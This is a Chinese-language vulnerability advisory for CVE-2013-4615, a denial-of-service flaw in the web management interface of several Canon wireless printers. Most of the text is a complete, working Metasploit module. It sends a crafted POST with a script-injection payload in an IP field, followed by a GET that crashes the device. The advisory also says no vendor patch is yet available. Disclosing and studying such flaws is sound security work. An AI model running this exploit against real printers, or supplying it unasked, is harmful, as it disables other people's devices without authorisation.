发布日期：2013-06-18
更新日期：2013-06-20

受影响系统：

Canon Printers

描述：

---

BUGTRAQ  ID: 60598
CVE(CAN) ID: CVE-2013-4615

Canon是日本著名的佳能打印机制造商。

Canon多款无线打印机的模块HTTP管理界面处理特制的HTTP请求时存在拒绝服务漏洞，可导致设备拒绝服务。

<*来源：Matt Andreko
  
  链接：http://packetstormsecurity.com/files/122073/canon-passworddisclosedos.txt
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Dos
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Canon Wireless Printer Denial Of Service',
+      'Description'    => %q{
+        The HTTP management interface on several models of Canon Wireless printers
+        allows for a Denial of Service condition via a crafted HTTP request. This
+        requires the device to be turned off and back on again to restore use.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+      [
+        'Matt "hostess" Andreko <mandreko[at]accuvant.com>'
+      ],
+      'References'     => [
+        [ 'CVE', '2013-4615' ],
+        [ 'URL', 'http://www.mattandreko.com/2013/06/canon-y-u-no-security.html']
+      ],
+      'DisclosureDate' => 'June 18 2013'))
+    register_options([
+      Opt::RPORT(80),
+    ])
+  end
+
+  def run
+
+    begin
+
+      # The first request will set the new IP
+      res = send_request_cgi({
+        'method'  =>  'POST',
+        'uri'    =>  '/English/pages_MacUS/cgi_lan.cgi',
+        'data'    =>  'OK.x=61' +
+          '&OK.y=12' +
+          '&LAN_OPT1=2' +
+          '&LAN_TXT1=Wireless' +
+          '&LAN_OPT3=1' +
+          '&LAN_TXT21=192' +
+          '&LAN_TXT22=168' +
+          '&LAN_TXT23=1' +
+          '&LAN_TXT24=114"><script>alert(\'xss\');</script>' +
+          '&LAN_TXT31=255' +
+          '&LAN_TXT32=255' +
+          '&LAN_TXT33=255' +
+          '&LAN_TXT34=0' +
+          '&LAN_TXT41=192' +
+          '&LAN_TXT42=168' +
+          '&LAN_TXT43=1' +
+          '&LAN_TXT44=1' +
+          '&LAN_OPT2=4' +
+          '&LAN_OPT4=1' +
+          '&LAN_HID1=1'
+      })
+
+      rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
+        print_error("Couldn't connect to #{rhost}:#{rport}")
+        return
+    end
+
+    # The second request will load the network options page, which seems to trigger the DoS
+    send_request_cgi({
+      'method'  =>  'GET',
+      'uri'    =>  '/English/pages_MacUS/lan_set_content.html'
+    }) #default timeout, we don't care about the response
+    print_status("DoS payload sent to #{rhost}:#{rport}. Check the device for responsiveness.")
+
+  end
+end

建议：

---

厂商补丁：

Canon
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.canon.com/

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